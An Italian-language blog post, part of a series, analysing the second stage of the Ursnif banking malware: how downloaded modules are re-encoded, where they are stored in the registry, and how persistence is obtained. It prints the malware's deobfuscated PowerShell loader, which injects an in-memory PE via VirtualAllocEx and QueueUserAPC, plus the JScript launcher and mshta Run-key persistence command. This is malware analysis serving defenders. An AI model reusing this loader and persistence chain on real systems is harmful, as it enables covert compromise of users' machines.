YAU – Parte 9 – Il secondo stadio, salvataggio dei moduli e persistenza

09/02/2021

yau

Questo articolo termina l’analisi del secondo stadio.
Nel precedente ci eravamo fermati alla decifratura dei moduli.
Ursnif contatta ogni C2 della sua configurazione fino ad ottenere un esito positivo, esito che si materializza con il download di tre moduli.

Una volta scaricati e decifrati, questi moduli sono ri-codificati prima di essere salvati nel registro di sistema.
Lo script subisce un post processing diverso.

Infine il secondo stadio usa il registro di sistema per garantire l’avvio automatico.

YET ANOTHER URSNIF

Questo è il nono di una seria di articoli, tutti raggruppati qui.

Indice

Parte 1, Le e-mail e il documento Excel
Parte 2, Le macro
Parte 3, Il packer
Parte 4, Primo stadio e la sezione bss
Parte 5, Ancora il primo stadio e i “JJ chunk”
Parte 6, Il secondo stadio e i primi IoC
Parte 7, Il secondo stadio, seed, GUID e privilegi
Parte 8, Il secondo stadio, configurazione e download
Parte 9, Il secondo stadio, salvataggio dei moduli e persistenza <–
Parte 10, Rimozione di Ursnif
Parte 11, Il client, inizializzazione e configurazione
Parte 12, Il client, da powershell ad explorer.exe ai browser
Parte 13, Il client, comandi e trasmissione al C2
Parte 14, Il C2, panoramica
Parte 15, Il C2, i sorgenti e l’architettura
Parte 16, Il C2, vulnerabilità
Parte 17, OSINT e resoconto finale

Post processing dei moduli

I due moduli Client32 e Client64 sono ri-codificati, prima di essere salvati, con l’algoritmo mostrato nella figura seguente.
Per codificarli è necessario il seed calcolato dal secondo stadio, in un articolo precedente abbiamo mostrato come questo sia ottenuto.

La codifica dei moduli PE prima di essere salvati.

Non abbiamo posto grossa attenzione a questo algoritmo poichè i moduli possono essere decodificati già con umod (vedi articolo precedente) al momento del download.

Il terzo modulo scaricato è uno script PowerShell che contiene un placeholder “@CODE@“.
Questo viene sostituito con un array di valori decimali corrispondenti a Client32 o Client64 (a seconda della versione del sistema operativo).
Questo script sarà usato per iniettare uno dei moduli scaricati nell’interprete PowerShell all’avvio.

Il codice a sinistra sceglie il modulo da iniettare nello script. Quello a destra effettua la sostituzione del placeholder.

Salvataggio dei moduli

I moduli sono salvati nel registro di sistema.
La posizione esatta dipende da come è stato generato il seed (tramite data di installazione o somma delle sub authority dell’utente corrente) e da un GUID generato casualmente.

La generazione del sottopercorso comune a tutti i possibili percorsi di installazione nel registro di sistema.

Il GUID può essere riottenuto dinamicamente poichè l’LCG ed il seed descritti precedentemente sono utilizzati per la sua generazione.

Nel caso il seed sia ottenuto tramite la data di sistema (vedi articoli precedenti), i moduli sono salvati in:

  • HKEY_LOCAL_MACHINE\Software\AppDataLow\Software\Microsoft\{rndGUID}\Client32
  • HKEY_LOCAL_MACHINE\Software\AppDataLow\Software\Microsoft\{rndGUID}\Client64

Nel caso il seed sia ottenuto come somma delle sub authority dell’utente corrente, i moduli sono salvati in:

  • HKEY_USERS\{SID}\Software\AppDataLow\Software\Microsoft\{rndGUID}\Client32
  • HKEY_USERS\{SID}\Software\AppDataLow\Software\Microsoft\{rndGUID}\Client64

Dove {SID} è il primo SID trovato in HKEY_USERS che non sia un SID builtin o contenente un underscore. Ursnif effettua dei controlli sulla lunghezza dei SID enumerati e sulla presenza di underscore per saltare tutti i SID corrispondenti ad utenti builtin di Windows.
Userà quindi il SID del primo utente non builtin.

I controlli effettuati dals econdo stadio per saltare i SID builtin.

La persistenza

Il secondo stadio fa uso di tre script per garantirsi la persistenza: uno è quello proveniente dal C2, gli altri due sono integrati nella DLL.

Lo script proveniente dal C2 è salvato nella stessa posizione dei moduli, il nome della chiave usata è il secondo nome generato casualmente (vedi articolo precedente).

Lo script, una volta deoffuscato, si presentà così:

$dghb="bosqk";
function foub{
	$cakjvo=[System.Convert]::FromBase64String($args[0]);
	[System.Text.Encoding]::ASCII.GetString($cakjvo);
};

$tkpigmhhlo="[DllImport(`"kernel32`")]`npublic static extern uint QueueUserAPC(IntPtr tpcnqkjvtbr,IntPtr tqisro,IntPtr mibgqo);`n[DllImport(`"kernel32`")]`npublic static extern IntPtr GetCurrentThreadId();`n[DllImport(`"kernel32`")]`npublic static extern IntPtr OpenThread(uint nevxq,uint gshkn,IntPtr hrrrtklhvx);";

$wme=Add-Type -memberDefinition $tkpigmhhlo -Name 'vqaxvunjiuh' -namespace W32 -passthru;
$oghrxowgs="[DllImport(`"kernel32`")]`npublic static extern IntPtr GetCurrentProcess();`n[DllImport(`"kernel32`")]`npublic static extern void SleepEx(uint tqyhf,uint xrcgwwuqyy);`n[DllImport(`"kernel32`")]`npublic static extern IntPtr VirtualAllocEx(IntPtr ipglcmbr,IntPtr kxy,uint bmtfsmfyi,uint ahg,uint xsqlt);";
$rtdw=Add-Type -memberDefinition $oghrxowgs -Name 'xlq' -namespace W32 -passthru;

$ngrnbwhbomw="ikjvbeus";

[byte[]]$rco=@(@CODE@);

$rtdw::SleepEx(1,1);

if($kfvvflsnc=$rtdw::VirtualAllocEx($rtdw::GetCurrentProcess(),0,$rco.Length,12288,64))
{
	[System.Runtime.InteropServices.Marshal]::Copy($rco,0,$kfvvflsnc,$rco.length);
	if($wme::QueueUserAPC($kfvvflsnc,$wme::OpenThread(16,0,$wme::GetCurrentThreadId()),$kfvvflsnc))
	{
		$rtdw::SleepEx(19,3);
	}
}

E’ piuttosto semplice, non fa altro che copiare in un buffer eseguibile l’array $rco (che è rimpito con i byte di uno dei client scaricati dal C2) ed eseguirlo con QueueUserAPC.
Notare che non è necessaria l’usuale operazione di mappatura del PE perchè i byte dell’array contengono il PE già mappato.

Questo script è lanciato da un secondo script, integrato nella DLL del secondo stadio e che ha la seguente forma:

%S=new ActiveXObject(’WScript.Shell’);
%S.Run('powershell iex ([System.Text.Encoding]::ASCII.GetString(( gp "%S:\%S").%s))',0,0);

Ovviamente i marcatori di formato %S e %s saranno riempiti, tramite wsprintf, con la posizione, nel registro di sistema, dello script scaricato dal C2 (e da una stringa casuale, per il nome delle variabili).
Questo secondo script è salvato insieme ai moduli usando il terzo nome generato casualmente (vedi articolo precedente).

Infine la persistenza è garantità scrivendo in HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run (o in KEY_LOCAL_MACHINE se il seed è derivato dalla data di installazione) una chiave di nome uguale al primo nome generato casualmente (vedi articolo precedente) e contenente il seguente script MSHTA.

mshta "about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('%S\\\%S\\\%s'));if(!window.flag)close()</script>"

Anche questo script sarà passato a wsprintf prima di essere salvato.

La catena di infezione può essere riassunta nella seguente immagine.

Nei prossimi articoli affronteremo l’analisi dei moduli scaricati dal C2.

Infine, il secondo stadio non aspetta il riavvio di Windows per eseguire i client scaricati ma lancia control.exe (con un flag di help per impedire la creazione di finestre) e vi mappa uno dei client.
Una specie di process hollowing.

Il DB IDA

E’ possibile scaricare il DB IDA annotato dell’intero secondo stadio.

Taggato  yau